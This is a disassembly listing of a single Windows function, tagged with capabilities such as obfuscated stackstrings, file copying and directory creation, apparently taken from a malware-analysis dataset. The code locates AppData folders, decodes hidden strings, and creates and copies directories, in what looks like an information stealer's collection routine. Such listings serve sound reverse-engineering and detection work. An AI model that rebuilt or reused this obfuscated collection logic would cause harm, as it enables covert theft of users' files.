Function at 0x40ffa0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f83a2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3fc
push esi
push edi
xor edi, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x80], edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x304]
push 0x104
push edi
push eax
call fcn.004d1ee0
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x304]
add esp, 0xc
push eax
push edi
push edi
push 0x1a
push edi
call esi
push 0x104
lea eax, [ebp - 0x408]
push edi
push eax
call fcn.004d1ee0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push edi
push edi
push 0x1c
push edi
call esi
movaps xmm0, xmmword [0x526ae0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0x2d2b3825
mov word [ebp - 0x12], 0x2f
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x410034
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410064
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x140]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4100ce
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4100c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b83
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x140]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x410238
mov dword [ebp - 0x30], 0x253e0b16
xor ecx, ecx
mov dword [ebp - 0x2c], 0x292327
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x410111
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410130
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b88
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x35]
lea ecx, [ebp - 0x54]
call fcn.00467530
cmp dword [ebp - 0x40], 0x10
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], connect
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x41019d
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410216
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp - 0x140]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x4101e9
mov esi, dword [ebp - 0x38]
mov byte [esi], 1
jmp 0x410219
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 7
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, dword [ebp - 0x38]
mov edi, connect
mov dword [ebp - 0x5c], edi
and edi, 0x7fffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x54]
call fcn.00402890
jmp 0x41023b
mov esi, dword [ebp - 0x38]
movaps xmm0, xmmword [0x526bb0]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x39
nop
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x410250
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410280
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 8
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x128]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4102ea
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4102e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b8d
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x114], 0x10
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x128]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x41044c
mov dword [ebp - 0x1a], 0x2f260f16
xor ecx, ecx
mov dword [ebp - 0x16], 0x3f383e29
mov word [ebp - 0x12], 0x27
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x410333
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410352
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b92
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x10000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4103c1
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410437
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xc
sub esp, 0x18
lea eax, [ebp - 0x128]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 0xb
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x41040a
mov byte [esi], 1
jmp 0x410437
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0xe
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffeffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x526a90]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0x2f26262b
mov word [ebp - 0x12], 0x3e
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x410470
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4104a0
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x110]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41050a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410500
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413b97
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0xfc], 0x10
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x110]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x41066a
mov dword [ebp - 0x30], 0x25320f16
xor ecx, ecx
mov dword [ebp - 0x2c], 0x393f2e
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x410550
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410570
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413b9c
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x20000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4105df
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410655
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x13
sub esp, 0x18
lea eax, [ebp - 0x110]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x12
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x410628
mov byte [esi], 1
jmp 0x410655
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x15
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffdffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x5265d0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0x3e2f2626
mov word [ebp - 0x12], 0x39
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x410684
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4106b4
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xf8]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41071e
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410714
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413ba1
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0xe4], 0x10
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x410886
mov dword [ebp - 0x1d], 0x2f260f16
xor ecx, ecx
mov dword [ebp - 0x19], 0x3f383e29
mov dword [ebp - 0x15], 0x91e0627
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x410770
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410790
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413ba6
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x40000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4107fb
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410871
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x1a
sub esp, 0x18
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x1b
mov byte [ebp - 4], 0x19
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x410844
mov byte [esi], 1
jmp 0x410871
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x1c
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffbffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x525ec0]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
movzx eax, byte [ebp + ecx - 0x20]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xf
jb 0x410893
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4108c3
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xe0]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41092d
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410923
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bab
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0xcc], 0x10
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x410a86
mov dword [ebp - 0x30], 0x24250716
xor ecx, ecx
mov dword [ebp - 0x2c], 0x25382f
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x410970
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410990
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413bb0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x80000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x4109fb
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410a71
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x21
sub esp, 0x18
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x20
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x410a44
mov byte [esi], 1
jmp 0x410a71
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x23
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfff7ffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x526860]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x32
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x410aa0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410ad0
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x98]
call fcn.004637a0
add esp, 4
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x410b3a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410b30
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bb5
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x84], 0x10
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x98]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b930
test al, al
je 0x4110f7
mov dword [ebp - 0x1e], 0x322b0016
xor ecx, ecx
mov dword [ebp - 0x1a], 0x23066a32
mov dword [ebp - 0x16], 0x3e382f28
mov word [ebp - 0x12], 0x33
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1e]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xd
jb 0x410b90
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410bb0
mov esi, closesocket
sub ecx, edx
mov edx, dword [ebp + 0x18]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x413bba
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00467530
or edi, 0x100000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b930
test al, al
jne 0x410c21
push 0
lea ecx, [ebp - 0x54]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4110e2
mov dword [ebp - 0x1b], 0x2e240316
xor ecx, ecx
mov dword [ebp - 0x17], 0x2e2f322f
mov word [ebp - 0x13], 0x80e
mov byte [ebp - 0x11], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x410c40
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c60
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x88]
sub eax, edx
cmp eax, ecx
jb 0x413bbf
cmp dword [ebp - 0x84], 0x10
lea eax, [ebp - 0x98]
push ecx
cmovae eax, dword [ebp - 0x98]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00467530
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x80], 0x10
cmovae ecx, dword [ebp - 0x78]
call fcn.0040b930
mov byte [ebp - 0xd], al
mov eax, 0x10
mov dword [ebp - 0x80], eax
and eax, 0xffffffef
mov dword [ebp - 0x80], eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x410df2
lea eax, [ebp - 0x1b]
push eax
call fcn.00413c40
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x410cf0
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
test al, al
jne 0x410d42
push 0
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410de6
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x1b]
push eax
call fcn.00413c40
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x410d70
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x2b
mov byte [ebp - 4], 0x29
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x410db9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x410de6
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x2c
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
mov dword [ebp - 0x1f], 0x29250616
xor ecx, ecx
mov dword [ebp - 0x1b], 0x196a262b
mov dword [ebp - 0x17], 0x2b38253e
mov word [ebp - 0x13], 0x2f2d
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x410e13
lea eax, [ebp - 0x1f]
push eax
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x2d
mov ecx, eax
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x410f72
lea eax, [ebp - 0x1f]
push eax
call fcn.00413c70
mov esi, eax
xor edx, edx
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x410e75
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
test al, al
jne 0x410ec7
push 0
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410f66
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045f3c0
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x1f]
push eax
call fcn.00413c70
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x410ef0
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x30
mov byte [ebp - 4], 0x2e
mov cl, byte [ebp - 0xd]
call fcn.0040e4e0
add esp, 0x30
test eax, eax
jne 0x410f39
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x410f66
lea ecx, [ebp - 0x78]
call fcn.0045f0a0
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x31
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
lea eax, [ebp - 0x21]
push eax
call fcn.00413ca0
mov esi, eax
xor edx, edx
nop
movzx ecx, byte [edx + esi]
push ecx
call fcn.004606a0
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x410f80
push esi
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x78]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x32
mov ecx, eax
call fcn.0045f0a0
mov ecx, eax
call fcn.0040b930
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
